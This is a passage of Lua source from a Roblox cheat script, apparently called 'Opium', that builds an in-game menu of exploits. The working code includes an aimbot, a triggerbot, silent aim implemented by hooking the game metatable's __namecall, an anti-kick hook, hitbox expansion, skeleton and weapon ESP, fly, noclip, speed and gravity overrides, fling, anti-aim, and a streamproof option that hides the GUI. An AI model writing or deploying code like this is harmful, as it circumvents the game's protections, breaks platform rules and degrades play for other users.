makeToggle(ms,"FPS Boost","FpsBoost",nil,function(on) if on then pcall(function() setfpscap(0) end) end end)
makeSlider(ms,"Field of View","FOV",40,120,""); makeSlider(ms,"Day Time","DayTime",0,24,"h")
makeButton(ms,"Rejoin",function() pcall(function() TeleportService:Teleport(game.PlaceId,LocalPlayer) end) end)
makeButton(ms,"Server Hop",function()
    local ok,data=pcall(function() return HttpService:JSONDecode(game:HttpGet("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")) end)
    if ok and data and data.data then for _,srv in ipairs(data.data) do if srv.playing<srv.maxPlayers and srv.id~=game.JobId then pcall(function() TeleportService:TeleportToPlaceInstance(game.PlaceId,srv.id,LocalPlayer) end) return end end end
    pcall(function() TeleportService:Teleport(game.PlaceId,LocalPlayer) end)
end)
local _,eb=makeWindow("Exploits",250,330,UDim2.new(0.44,0,0.24,0)); local es=makeScroll(eb)
makeSlider(es,"WalkSpeed","WalkSpeed",16,250,""); makeSlider(es,"Jump Power","JumpPower",50,300,""); makeSlider(es,"Gravity","Gravity",10,300,"")
makeToggle(es,"Fly (WASD/Space/Ctrl)","Fly"); makeSlider(es,"Fly Speed","FlySpeed",20,400,""); makeToggle(es,"Infinite Jump","InfJump")
makeToggle(es,"Noclip","Noclip"); makeToggle(es,"Auto Bhop","AutoBhop"); makeToggle(es,"Spinbot","Spinbot"); makeSlider(es,"Spin Speed","SpinSpeed",5,60,"")
makeToggle(es,"Click TP (press E)","ClickTP")
local _,sb=makeWindow("Settings",240,210,UDim2.new(0.34,0,0.28,0)); local ss=makeScroll(sb)
do
    local row=Instance.new("Frame"); row.Size=UDim2.new(1,0,0,40); row.BackgroundColor3=Color3.fromRGB(255,255,255); row.BackgroundTransparency=0.88; row.BorderSizePixel=0; row.Parent=ss; Instance.new("UICorner",row).CornerRadius=UDim.new(0,12)
    local dot=Instance.new("Frame"); dot.Name="Dot"; dot.Size=UDim2.new(0,11,0,11); dot.Position=UDim2.new(0,12,0.5,-5); dot.BackgroundColor3=Colors.Accent; dot.BorderSizePixel=0; dot.Parent=row; Instance.new("UICorner",dot).CornerRadius=UDim.new(1,0)
    local lbl=Instance.new("TextLabel"); lbl.Size=UDim2.new(1,-40,1,0); lbl.Position=UDim2.new(0,30,0,0); lbl.BackgroundTransparency=1; lbl.Text="Accent Color"; lbl.TextColor3=Color3.fromRGB(255,255,255); lbl.TextXAlignment=Enum.TextXAlignment.Left; lbl.Font=Enum.Font.GothamMedium; lbl.TextSize=14; lbl.Parent=row
    local pick=Instance.new("TextButton"); pick.Size=UDim2.new(1,0,1,0); pick.BackgroundTransparency=1; pick.Text=""; pick.Parent=row; pick.MouseButton1Click:Connect(function() openPicker("Accent",row) end)
end
makeToggle(ss,"Rainbow Accent","Rainbow")
local vpf=Instance.new("ViewportFrame"); vpf.Size=UDim2.new(1,0,1,-8); vpf.Position=UDim2.new(0,0,0,4); vpf.BackgroundColor3=Color3.fromRGB(18,20,26); vpf.BackgroundTransparency=0.25; vpf.BorderSizePixel=0; vpf.Parent=vRight; Instance.new("UICorner",vpf).CornerRadius=UDim.new(0,14)
vpf.Ambient=Color3.fromRGB(180,180,190); vpf.LightColor=Color3.fromRGB(255,255,255)
local vpCam=Instance.new("Camera"); vpCam.Parent=vpf; vpf.CurrentCamera=vpCam
local previewModel
local function buildPreviewChar()
    local char=LocalPlayer.Character; if not char then return end
    local ok,clone=pcall(function() return char:Clone() end); if not ok or not clone then return end
    for _,d in ipairs(clone:GetDescendants()) do if d:IsA("BaseScript") then d:Destroy() elseif d:IsA("BasePart") then d.Anchored=true end end
    clone.Parent=vpf; previewModel=clone
    local cf,size=clone:GetBoundingBox(); local dist=size.Magnitude*0.85
    track(RunService.RenderStepped:Connect(function() if not previewModel or not previewModel.Parent then return end local tt=tick()*0.6; vpCam.CFrame=CFrame.new(cf.Position+Vector3.new(math.sin(tt)*dist,0.2,math.cos(tt)*dist),cf.Position) end))
end
buildPreviewChar(); track(LocalPlayer.CharacterAdded:Connect(function() task.wait(1); if not previewModel then buildPreviewChar() end end))
local pbox=Instance.new("Frame"); pbox.Size=UDim2.new(0,60,0,110); pbox.AnchorPoint=Vector2.new(0.5,0.5); pbox.Position=UDim2.new(0.5,0,0.5,0); pbox.BackgroundTransparency=1; pbox.ZIndex=5; pbox.Parent=vpf; local pbs=Instance.new("UIStroke",pbox); pbs.Color=Colors.Boxes; pbs.Thickness=2; pbs.Transparency=0.15
local function makeChip(text,layoutKey)
    local chip=Instance.new("TextButton"); chip.Size=UDim2.new(0,0,0,20); chip.AutomaticSize=Enum.AutomaticSize.X; chip.BackgroundColor3=Color3.fromRGB(255,255,255); chip.BackgroundTransparency=0.15; chip.Text="  "..text.."  "; chip.TextColor3=Color3.fromRGB(20,20,25); chip.Font=Enum.Font.GothamBold; chip.TextSize=12; chip.AutoButtonColor=false; chip.ZIndex=10; chip.Parent=vpf; Instance.new("UICorner",chip).CornerRadius=UDim.new(1,0)
    local function place() local rel=Layout[layoutKey]; local px=pbox.AbsolutePosition.X-vpf.AbsolutePosition.X+rel.x*pbox.AbsoluteSize.X; local py=pbox.AbsolutePosition.Y-vpf.AbsolutePosition.Y+rel.y*pbox.AbsoluteSize.Y; chip.Position=UDim2.new(0,px-chip.AbsoluteSize.X/2,0,py-chip.AbsoluteSize.Y/2) end
    task.defer(place)
    local dr=false; chip.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then dr=true end end)
    track(UserInput.InputEnded:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then dr=false end end))
    track(UserInput.InputChanged:Connect(function(i) if dr and i.UserInputType==Enum.UserInputType.MouseMovement then local m=UserInput:GetMouseLocation(); chip.Position=UDim2.new(0,m.X-vpf.AbsolutePosition.X-chip.AbsoluteSize.X/2,0,m.Y-vpf.AbsolutePosition.Y-chip.AbsoluteSize.Y/2); local cx=chip.AbsolutePosition.X+chip.AbsoluteSize.X/2; local cy=chip.AbsolutePosition.Y+chip.AbsoluteSize.Y/2; Layout[layoutKey].x=(cx-pbox.AbsolutePosition.X)/pbox.AbsoluteSize.X; Layout[layoutKey].y=(cy-pbox.AbsolutePosition.Y)/pbox.AbsoluteSize.Y end end))
end
makeChip("Name","Name"); makeChip("Distance","Distance"); makeChip("HP","Health")
local function makeIcon(parent,kind)
    local c=Instance.new("Frame"); c.Size=UDim2.new(0,22,0,22); c.AnchorPoint=Vector2.new(0.5,0.5); c.Position=UDim2.new(0.5,0,0.5,0); c.BackgroundTransparency=1; c.ZIndex=22; c.Parent=parent
    local function bar(w,h,px,py,rot,rad) local f=Instance.new("Frame"); f.AnchorPoint=Vector2.new(0.5,0.5); f.Size=UDim2.new(0,w,0,h); f.Position=UDim2.new(0.5,px,0.5,py); f.Rotation=rot or 0; f.BackgroundColor3=Color3.fromRGB(255,255,255); f.BorderSizePixel=0; f.ZIndex=23; f.Parent=c; if rad then Instance.new("UICorner",f).CornerRadius=UDim.new(0,rad) end return f end
    local function ring(sz,th,w,h) local f=Instance.new("Frame"); f.AnchorPoint=Vector2.new(0.5,0.5); f.Size=UDim2.new(0,w or sz,0,h or sz); f.Position=UDim2.new(0.5,0,0.5,0); f.BackgroundTransparency=1; f.ZIndex=23; f.Parent=c; Instance.new("UICorner",f).CornerRadius=UDim.new(1,0); local s=Instance.new("UIStroke",f); s.Color=Color3.fromRGB(255,255,255); s.Thickness=th or 2; return f end
    if kind=="Combat" then ring(18,2); bar(2,24,0,0); bar(24,2,0,0)
    elseif kind=="Visual" then ring(0,2,20,13); bar(7,7,0,0,0,10)
    elseif kind=="Misc" then bar(18,2,0,-6,0,1); bar(6,6,-3,-6,0,2); bar(18,2,0,0,0,1); bar(6,6,4,0,0,2); bar(18,2,0,6,0,1); bar(6,6,-1,6,0,2)
    elseif kind=="Exploits" then bar(4,11,-2,-3,22,1); bar(4,11,2,3,22,1)
    elseif kind=="Settings" then ring(10,2); for i=0,5 do local a=math.rad(i*60); bar(4,4,math.cos(a)*9,math.sin(a)*9,i*60,1) end bar(4,4,0,0,0,2) end
    return c
end
local dock=Instance.new("Frame"); dock.AnchorPoint=Vector2.new(0.5,0); dock.Position=UDim2.new(0.5,0,0,14); dock.AutomaticSize=Enum.AutomaticSize.X; dock.Size=UDim2.new(0,0,0,48); dock.BackgroundColor3=Color3.fromRGB(255,255,255); dock.BackgroundTransparency=0.8; dock.BorderSizePixel=0; dock.ZIndex=20; dock.Parent=hud
Instance.new("UICorner",dock).CornerRadius=UDim.new(0,16)
local dgr=Instance.new("UIGradient",dock); dgr.Rotation=90; dgr.Color=ColorSequence.new(Color3.fromRGB(255,255,255),Color3.fromRGB(205,212,225)); dgr.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,0.76),NumberSequenceKeypoint.new(1,0.88)}); Instance.new("UIStroke",dock).Transparency=0.55
local dpad=Instance.new("UIPadding",dock); dpad.PaddingLeft=UDim.new(0,7); dpad.PaddingRight=UDim.new(0,7); dpad.PaddingTop=UDim.new(0,7); dpad.PaddingBottom=UDim.new(0,7)
local dl=Instance.new("UIListLayout",dock); dl.FillDirection=Enum.FillDirection.Horizontal; dl.Padding=UDim.new(0,5); dl.VerticalAlignment=Enum.VerticalAlignment.Center; dl.SortOrder=Enum.SortOrder.LayoutOrder
local tip=Instance.new("TextLabel"); tip.AutomaticSize=Enum.AutomaticSize.X; tip.Size=UDim2.new(0,0,0,22); tip.AnchorPoint=Vector2.new(0.5,0); tip.BackgroundColor3=Color3.fromRGB(20,22,28); tip.BackgroundTransparency=0.1; tip.TextColor3=Color3.fromRGB(255,255,255); tip.Font=Enum.Font.GothamBold; tip.TextSize=12; tip.Visible=false; tip.ZIndex=40; tip.Parent=hud
Instance.new("UICorner",tip).CornerRadius=UDim.new(0,7); local tpad=Instance.new("UIPadding",tip); tpad.PaddingLeft=UDim.new(0,8); tpad.PaddingRight=UDim.new(0,8)
local function makeDockBtn(name,order)
    local b=Instance.new("TextButton"); b.Size=UDim2.new(0,38,1,0); b.LayoutOrder=order; b.BackgroundColor3=ACCENT; b.BackgroundTransparency=1; b.BorderSizePixel=0; b.Text=""; b.AutoButtonColor=false; b.ZIndex=21; b.Parent=dock; Instance.new("UICorner",b).CornerRadius=UDim.new(0,11)
    makeIcon(b,name)
    b.MouseButton1Click:Connect(function() local win=windows[name].frame; win.Visible=not win.Visible; if win.Visible then for _,wd in pairs(windows) do wd.frame.ZIndex=2 end win.ZIndex=3 end updateDock() end)
    b.MouseEnter:Connect(function() tip.Text=name; tip.Position=UDim2.new(0,b.AbsolutePosition.X+b.AbsoluteSize.X/2,0,dock.AbsolutePosition.Y+dock.AbsoluteSize.Y+6); tip.Visible=true end)
    b.MouseLeave:Connect(function() tip.Visible=false end)
    windows[name].dockBtn=b
end
makeDockBtn("Combat",1); makeDockBtn("Visual",2); makeDockBtn("Misc",3); makeDockBtn("Exploits",4); makeDockBtn("Settings",5)
updateDock=function() for _,wd in pairs(windows) do if wd.dockBtn then local on=wd.frame.Visible; TweenService:Create(wd.dockBtn,TweenInfo.new(0.15),{BackgroundTransparency=on and 0.1 or 1}):Play(); wd.dockBtn.BackgroundColor3=ACCENT end end end
updateDock()
restyleAccent=function() for _,wd in pairs(windows) do if wd.dockBtn then wd.dockBtn.BackgroundColor3=ACCENT end end end
local function aimPart(char) local order=(Settings.AimPart=="Head" and {"Head"}) or (Settings.AimPart=="Torso" and {"UpperTorso","Torso"}) or {"HumanoidRootPart"}; for _,n in ipairs(order) do local p=char:FindFirstChild(n); if p then return p end end return char:FindFirstChild("HumanoidRootPart") or char:FindFirstChild("Head") end
local fov=Drawing.new("Circle"); fov.Thickness=1.5; fov.NumSides=64; fov.Filled=false; fov.Visible=false
local lastShot=0
local stickyTarget
local function visibleTo(part,targetChar)
    if not Settings.VisCheck then return true end
    local o=Camera.CFrame.Position
    local pr=RaycastParams.new(); pr.FilterType=Enum.RaycastFilterType.Exclude; pr.FilterDescendantsInstances={LocalPlayer.Character}
    local res=workspace:Raycast(o,(part.Position-o),pr)
    return (not res) or res.Instance:IsDescendantOf(targetChar)
end
track(RunService.RenderStepped:Connect(function()
    local m=UserInput:GetMouseLocation()
    if Settings.FOVCircle then fov.Position=m; fov.Radius=Settings.AimFOV; fov.Color=ACCENT; fov.Visible=true else fov.Visible=false end
    if Settings.Aimbot and UserInput:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) then
        local camPos=Camera.CFrame.Position
        local target
        if Settings.Sticky and stickyTarget then
            local ch=stickyTarget; local head=ch.Parent and ch:FindFirstChild("Head"); local hum=ch:FindFirstChildOfClass("Humanoid")
            if head and hum and hum.Health>0 then
                local vp,on=Camera:WorldToViewportPoint(head.Position)
                if on and (Vector2.new(vp.X,vp.Y)-m).Magnitude<=Settings.AimFOV and visibleTo(head,ch) then target=ch else stickyTarget=nil end
            else stickyTarget=nil end
        end
        if not target then
            local best,bestScore=nil,math.huge
            for _,plr in pairs(Players:GetPlayers()) do
                if plr==LocalPlayer then continue end
                if Settings.TeamCheck and plr.Team and plr.Team==LocalPlayer.Team then continue end
                local ch=plr.Character; local head=ch and ch:FindFirstChild("Head"); local hum=ch and ch:FindFirstChildOfClass("Humanoid")
                if not head or not hum or hum.Health<=0 then continue end
                local vp,on=Camera:WorldToViewportPoint(head.Position); if not on then continue end
                local scr=(Vector2.new(vp.X,vp.Y)-m).Magnitude
                if scr<=Settings.AimFOV and visibleTo(head,ch) then
                    local score
                    if Settings.AimMode=="Distance" then score=(head.Position-camPos).Magnitude
                    elseif Settings.AimMode=="Lowest HP" then score=hum.Health
                    else score=scr end
                    if score<bestScore then bestScore=score; best=ch end
                end
            end
            target=best; stickyTarget=best
        end
        if target then local part=aimPart(target); if part then local goal=CFrame.new(camPos,part.Position); Camera.CFrame=Camera.CFrame:Lerp(goal,math.clamp(1/Settings.AimSmooth,0.05,1)) end end
    end
    if Settings.Triggerbot and tick()-lastShot>Settings.TrigDelay/1000 then
        local ray=Camera:ViewportPointToRay(m.X,m.Y)
        local params=RaycastParams.new(); params.FilterType=Enum.RaycastFilterType.Exclude; params.FilterDescendantsInstances={LocalPlayer.Character}
        local res=workspace:Raycast(ray.Origin,ray.Direction*2000,params)
        if res and res.Instance then local ch=res.Instance:FindFirstAncestorWhichIsA("Model"); local plr=ch and Players:GetPlayerFromCharacter(ch); local hum=ch and ch:FindFirstChildOfClass("Humanoid")
            if plr and hum and hum.Health>0 and not (Settings.TeamCheck and plr.Team and plr.Team==LocalPlayer.Team) then lastShot=tick(); pcall(function() mouse1press(); task.wait(0.03); mouse1release() end) end
        end
    end
end))
local hitOrig={}
track(RunService.Heartbeat:Connect(function()
    for _,plr in pairs(Players:GetPlayers()) do
        if plr==LocalPlayer then continue end
        local hrp=plr.Character and plr.Character:FindFirstChild("HumanoidRootPart"); if not hrp then continue end
        if Settings.Hitbox then if not hitOrig[hrp] then hitOrig[hrp]=hrp.Size end hrp.Size=Vector3.new(Settings.HitboxSize,Settings.HitboxSize,Settings.HitboxSize); hrp.CanCollide=false
        elseif hitOrig[hrp] then hrp.Size=hitOrig[hrp]; hitOrig[hrp]=nil end
    end
end))
track(RunService.Heartbeat:Connect(function()
    local char=LocalPlayer.Character; local hum=char and char:FindFirstChildOfClass("Humanoid")
    if hum then hum.WalkSpeed=Settings.WalkSpeed; hum.UseJumpPower=true; hum.JumpPower=Settings.JumpPower end
    workspace.Gravity=Settings.Gravity
    Camera.FieldOfView=Settings.FOV
end))
track(RunService.Stepped:Connect(function() if not Settings.Noclip then return end local char=LocalPlayer.Character; if not char then return end for _,p in ipairs(char:GetDescendants()) do if p:IsA("BasePart") and p.CanCollide then p.CanCollide=false end end end))
track(UserInput.JumpRequest:Connect(function() if not Settings.InfJump then return end local hum=LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid"); if hum then hum:ChangeState(Enum.HumanoidStateType.Jumping) end end))
track(RunService.Heartbeat:Connect(function() if not Settings.AutoBhop then return end local char=LocalPlayer.Character; local hum=char and char:FindFirstChildOfClass("Humanoid"); if hum and UserInput:IsKeyDown(Enum.KeyCode.Space) and hum.FloorMaterial~=Enum.Material.Air then hum:ChangeState(Enum.HumanoidStateType.Jumping) end end))
local flyBV,flyBG
track(RunService.RenderStepped:Connect(function()
    local char=LocalPlayer.Character; local hrp=char and char:FindFirstChild("HumanoidRootPart"); local hum=char and char:FindFirstChildOfClass("Humanoid")
    if Settings.Fly and hrp then
        if not flyBV then flyBV=Instance.new("BodyVelocity"); flyBV.MaxForce=Vector3.new(9e9,9e9,9e9); flyBV.P=9e4; flyBV.Parent=hrp; flyBG=Instance.new("BodyGyro"); flyBG.MaxTorque=Vector3.new(9e9,9e9,9e9); flyBG.P=9e4; flyBG.Parent=hrp; if hum then hum.PlatformStand=true end end
        local dir=Vector3.zero; local cf=Camera.CFrame
        if UserInput:IsKeyDown(Enum.KeyCode.W) then dir=dir+cf.LookVector end
        if UserInput:IsKeyDown(Enum.KeyCode.S) then dir=dir-cf.LookVector end
        if UserInput:IsKeyDown(Enum.KeyCode.A) then dir=dir-cf.RightVector end
        if UserInput:IsKeyDown(Enum.KeyCode.D) then dir=dir+cf.RightVector end
        if UserInput:IsKeyDown(Enum.KeyCode.Space) then dir=dir+Vector3.new(0,1,0) end
        if UserInput:IsKeyDown(Enum.KeyCode.LeftControl) then dir=dir-Vector3.new(0,1,0) end
        flyBV.Velocity=(dir.Magnitude>0 and dir.Unit or Vector3.zero)*Settings.FlySpeed; flyBG.CFrame=cf
    else if flyBV then flyBV:Destroy(); flyBV=nil end if flyBG then flyBG:Destroy(); flyBG=nil end if hum and not Settings.Spinbot then hum.PlatformStand=false end end
end))
track(RunService.RenderStepped:Connect(function() if not Settings.Spinbot then return end local hrp=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); if hrp then hrp.CFrame=CFrame.new(hrp.Position)*CFrame.Angles(0,tick()*Settings.SpinSpeed,0) end end))
track(UserInput.InputBegan:Connect(function(input,gpe)
    if gpe or not Settings.ClickTP then return end
    if input.KeyCode==Enum.KeyCode.E then
        local hrp=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); if not hrp then return end
        local m=UserInput:GetMouseLocation(); local ray=Camera:ViewportPointToRay(m.X,m.Y)
        local params=RaycastParams.new(); params.FilterType=Enum.RaycastFilterType.Exclude; params.FilterDescendantsInstances={LocalPlayer.Character}
        local res=workspace:Raycast(ray.Origin,ray.Direction*5000,params)
        if res then hrp.CFrame=CFrame.new(res.Position+Vector3.new(0,3,0)) end
    end
end))
local ORIG={Brightness=Lighting.Brightness,FogEnd=Lighting.FogEnd,Ambient=Lighting.Ambient,Shadows=Lighting.GlobalShadows}
track(RunService.Heartbeat:Connect(function()
    if Settings.Fullbright then Lighting.Brightness=2; Lighting.GlobalShadows=false; Lighting.Ambient=Color3.fromRGB(200,200,200)
    else Lighting.Brightness=ORIG.Brightness; Lighting.GlobalShadows=ORIG.Shadows; Lighting.Ambient=ORIG.Ambient end
    Lighting.ClockTime=Settings.DayTime
    Lighting.FogEnd=(Settings.NoFog or Settings.Fullbright) and 1e9 or ORIG.FogEnd
end))
pcall(function() local VU=game:GetService("VirtualUser"); track(LocalPlayer.Idled:Connect(function() if Settings.AntiAFK then pcall(function() VU:CaptureController(); VU:ClickButton2(Vector2.new()) end) end end)) end)
track(RunService.Heartbeat:Connect(function() if Settings.Rainbow then ACCENT=Color3.fromHSV(tick()%5/5,0.75,1); Colors.Accent=ACCENT; restyleAccent() end end))
makeToggle(cs,"Ragebot (auto)","Ragebot"); makeToggle(cs,"Silent Aim","SilentAim"); makeSlider(cs,"Hit Chance","HitChance",0,100,"%")
makeToggle(cs,"Prediction","Predict"); makeCycler(cs,"Anti-Aim","AntiAim",{"Off","Spin","Jitter","Random","Backwards"})
makeToggle(vs,"Skeleton","Skeleton"); makeToggle(vs,"Head Dot","HeadDot"); makeToggle(vs,"Weapon ESP","WeaponESP")
makeToggle(vs,"Friends (color)","Friends","Friend"); makeToggle(vs,"Backtrack","Backtrack"); makeToggle(vs,"Radar","Radar")
makeToggle(ms,"No Fall Damage","NoFall"); makeToggle(ms,"Fake Lag","FakeLag"); makeCycler(ms,"Fling","FlingMode",{"Off","Nearest","All","Mouse"}); makeToggle(ms,"Attach to Nearest","Attach")
makeButton(ms,"Preset: Fast (100/100)",function() Settings.WalkSpeed=100; Settings.JumpPower=100; for _,f in ipairs(refreshers) do f() end end)
makeButton(ms,"Preset: Insane (250/300)",function() Settings.WalkSpeed=250; Settings.JumpPower=300; for _,f in ipairs(refreshers) do f() end end)
local macroData,macroRec,macroPlaying={},false,false
makeButton(ms,"Macro: Record / Stop",function() macroRec=not macroRec; if macroRec then macroData={} end end)
makeButton(ms,"Macro: Play",function()
    if macroPlaying or #macroData==0 then return end
    macroPlaying=true
    task.spawn(function() for _,cf in ipairs(macroData) do local hrp=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); if hrp then hrp.CFrame=cf end RunService.Heartbeat:Wait() end macroPlaying=false end)
end)
track(RunService.Heartbeat:Connect(function() if macroRec then local hrp=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); if hrp then table.insert(macroData,hrp.CFrame) end end end))
makeButton(ss,"Config: Save",function() saveConfig() end)
makeButton(ss,"Config: Load",function() loadConfig(); for _,f in ipairs(refreshers) do f() end end)
makeToggle(ss,"Auto Save","AutoSave")
makeToggle(ss,"Watermark","Watermark")
makeToggle(ss,"Streamproof","Streamproof",nil,function(on) pcall(function() if on and syn and syn.protect_gui then syn.protect_gui(gui) end gui.Parent=(gethui and gethui()) or gui.Parent end) end)
makeSlider(ss,"ESP Update Rate","ESPRate",1,5,"")
do
    local wrap=Instance.new("Frame"); wrap.Size=UDim2.new(1,0,0,30); wrap.BackgroundTransparency=1; wrap.Parent=ss
    local ll=Instance.new("UIListLayout",wrap); ll.FillDirection=Enum.FillDirection.Horizontal; ll.Padding=UDim.new(0,6); ll.VerticalAlignment=Enum.VerticalAlignment.Center
    for _,col in ipairs({Color3.fromRGB(10,132,255),Color3.fromRGB(255,60,90),Color3.fromRGB(0,220,150),Color3.fromRGB(180,90,255),Color3.fromRGB(255,170,0),Color3.fromRGB(255,255,255)}) do
        local sw=Instance.new("TextButton"); sw.Size=UDim2.new(0,26,0,26); sw.BackgroundColor3=col; sw.Text=""; sw.AutoButtonColor=true; sw.Parent=wrap; Instance.new("UICorner",sw).CornerRadius=UDim.new(1,0)
        sw.MouseButton1Click:Connect(function() ACCENT=col; Colors.Accent=col; Settings.Rainbow=false; for _,f in ipairs(refreshers) do f() end if restyleAccent then restyleAccent() end end)
    end
end
do
    local btn=Instance.new("TextButton"); btn.Size=UDim2.new(1,0,0,38); btn.BackgroundColor3=Color3.fromRGB(255,255,255); btn.BackgroundTransparency=0.85; btn.Text="Menu Key: "..Settings.MenuKey; btn.TextColor3=Color3.fromRGB(255,255,255); btn.Font=Enum.Font.GothamBold; btn.TextSize=14; btn.Parent=ss; Instance.new("UICorner",btn).CornerRadius=UDim.new(0,12)
    local waiting=false
    btn.MouseButton1Click:Connect(function() waiting=true; btn.Text="Taste drücken..." end)
    track(UserInput.InputBegan:Connect(function(inp,gpe) if waiting and inp.KeyCode~=Enum.KeyCode.Unknown then Settings.MenuKey=inp.KeyCode.Name; btn.Text="Menu Key: "..Settings.MenuKey; waiting=false end end))
end
makeButton(ss,"Unload Opium",function() if opiumLeave then pcall(function() opiumLeave("Unload") end) end for _,c in ipairs(conns) do pcall(function() c:Disconnect() end) end for k in pairs(drawings) do removeKey(k) end for _,hl in pairs(chams) do pcall(function() hl:Destroy() end) end gui:Destroy() end)
local function cacheFriend(plr) task.spawn(function() local ok,res=pcall(function() return LocalPlayer:IsFriendsWith(plr.UserId) end); if ok then friendCache[plr.UserId]=res end end) end
for _,p in ipairs(Players:GetPlayers()) do cacheFriend(p) end
track(Players.PlayerAdded:Connect(cacheFriend))
local function bestInFov()
    local m=UserInput:GetMouseLocation(); local best,bestD=nil,Settings.AimFOV
    for _,plr in pairs(Players:GetPlayers()) do
        if plr==LocalPlayer then continue end
        if Settings.TeamCheck and plr.Team and plr.Team==LocalPlayer.Team then continue end
        if Settings.Friends and friendCache[plr.UserId] then continue end
        local ch=plr.Character; local head=ch and ch:FindFirstChild("Head"); local hum=ch and ch:FindFirstChildOfClass("Humanoid")
        if not head or not hum or hum.Health<=0 then continue end
        local vp,on=Camera:WorldToViewportPoint(head.Position); if not on then continue end
        local d=(Vector2.new(vp.X,vp.Y)-m).Magnitude
        if d<bestD then bestD=d; best=ch end
    end
    return best
end
local function predictPos(part)
    if not Settings.Predict then return part.Position end
    local v=part.AssemblyLinearVelocity or Vector3.zero
    return part.Position + v*0.14
end
track(RunService.RenderStepped:Connect(function()
    if not Settings.Ragebot then return end
    local ch=bestInFov(); if ch then local part=aimPart(ch); if part then Camera.CFrame=CFrame.new(Camera.CFrame.Position, predictPos(part)) end end
end))
pcall(function()
    if not (getrawmetatable and setreadonly and newcclosure) then return end
    local mt=getrawmetatable(game); local old=mt.__namecall; setreadonly(mt,false)
    mt.__namecall=newcclosure(function(self,...)
        local method=getnamecallmethod and getnamecallmethod()
        if Settings.AntiKick and method=="Kick" and self==LocalPlayer then return end
        if Settings.SilentAim and method and (method=="Raycast" or method=="FindPartOnRay" or method=="FindPartOnRayWithIgnoreList") and math.random(1,100)<=Settings.HitChance then
            local ch=bestInFov(); local part=ch and aimPart(ch)
            if part then
                local args={...}
                if method=="Raycast" and typeof(args[1])=="Vector3" then args[2]=(predictPos(part)-args[1]); return old(self,unpack(args))
                elseif typeof(args[1])=="Ray" then local o=args[1].Origin; args[1]=Ray.new(o,(predictPos(part)-o).Unit*1000); return old(self,unpack(args)) end
            end
        end
        return old(self,...)
    end)
    setreadonly(mt,true)
end)
local aaJit=1
track(RunService.Heartbeat:Connect(function()
    if Settings.AntiAim=="Off" then return end
    local hrp=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); if not hrp then return end
    local yaw
    if Settings.AntiAim=="Spin" then yaw=tick()*8
    elseif Settings.AntiAim=="Jitter" then aaJit=-aaJit; yaw=aaJit*1.4
    elseif Settings.AntiAim=="Random" then yaw=math.random()*6.283
    else local lv=Camera.CFrame.LookVector; yaw=math.atan2(-lv.X,-lv.Z) end
    hrp.CFrame=CFrame.new(hrp.Position)*CFrame.Angles(0,yaw,0)
end))
local BONES={{"Head","UpperTorso"},{"UpperTorso","LowerTorso"},{"UpperTorso","LeftUpperArm"},{"LeftUpperArm","LeftLowerArm"},{"LeftLowerArm","LeftHand"},{"UpperTorso","RightUpperArm"},{"RightUpperArm","RightLowerArm"},{"RightLowerArm","RightHand"},{"LowerTorso","LeftUpperLeg"},{"LeftUpperLeg","LeftLowerLeg"},{"LeftLowerLeg","LeftFoot"},{"LowerTorso","RightUpperLeg"},{"RightUpperLeg","RightLowerLeg"},{"RightLowerLeg","RightFoot"}}
local skel,headDots,wepTxt,backt={},{},{},{}
track(RunService.RenderStepped:Connect(function()
    for _,plr in pairs(Players:GetPlayers()) do
        if plr==LocalPlayer then continue end
        local key=plr.UserId; local ch=plr.Character
        local fc=(Settings.Friends and friendCache[key]) and Colors.Friend or Colors.Boxes
        local root=ch and ch:FindFirstChild("HumanoidRootPart"); local head=ch and ch:FindFirstChild("Head")
        if Settings.Skeleton and ch then
            skel[key]=skel[key] or {}
            for i,b in ipairs(BONES) do
                local ln=skel[key][i] or Drawing.new("Line"); skel[key][i]=ln
                local p0=ch:FindFirstChild(b[1]); local p1=ch:FindFirstChild(b[2])
                if p0 and p1 then local a,va=Camera:WorldToViewportPoint(p0.Position); local bb,vb=Camera:WorldToViewportPoint(p1.Position)
                    if va and vb then ln.Color=fc; ln.Thickness=1.5; ln.From=Vector2.new(a.X,a.Y); ln.To=Vector2.new(bb.X,bb.Y); ln.Visible=true else ln.Visible=false end
                else ln.Visible=false end
            end
        elseif skel[key] then for _,ln in ipairs(skel[key]) do ln.Visible=false end end
        local hd=headDots[key] or Drawing.new("Circle"); headDots[key]=hd
        if Settings.HeadDot and head then local vp,on=Camera:WorldToViewportPoint(head.Position); if on then hd.Filled=true; hd.NumSides=16; hd.Radius=3; hd.Color=fc; hd.Position=Vector2.new(vp.X,vp.Y); hd.Visible=true else hd.Visible=false end else hd.Visible=false end
        local wt=wepTxt[key] or Drawing.new("Text"); wepTxt[key]=wt; wt.Center=true; wt.Outline=true
        local tool=ch and ch:FindFirstChildOfClass("Tool")
        if Settings.WeaponESP and tool and head then local vp,on=Camera:WorldToViewportPoint(head.Position); if on then wt.Text=tool.Name; wt.Size=13; wt.Color=Color3.fromRGB(255,220,120); wt.Position=Vector2.new(vp.X,vp.Y-38); wt.Visible=true else wt.Visible=false end else wt.Visible=false end
        if Settings.Backtrack and root then
            backt[key]=backt[key] or {hist={},sq={}}; local bt=backt[key]
            table.insert(bt.hist,{p=root.Position,t=tick()}); while #bt.hist>0 and tick()-bt.hist[1].t>0.6 do table.remove(bt.hist,1) end
            local step=math.max(1,math.floor(#bt.hist/10))
            for i=1,10 do local sq=bt.sq[i] or Drawing.new("Square"); bt.sq[i]=sq; sq.Filled=false; sq.Thickness=1
                local h=bt.hist[i*step]
                if h then local vp,on=Camera:WorldToViewportPoint(h.p); if on then sq.Color=Color3.fromRGB(160,160,170); sq.Size=Vector2.new(6,6); sq.Position=Vector2.new(vp.X-3,vp.Y-3); sq.Visible=true else sq.Visible=false end else sq.Visible=false end
            end
        elseif backt[key] then for _,sq in ipairs(backt[key].sq) do sq.Visible=false end backt[key].hist={} end
    end
end))
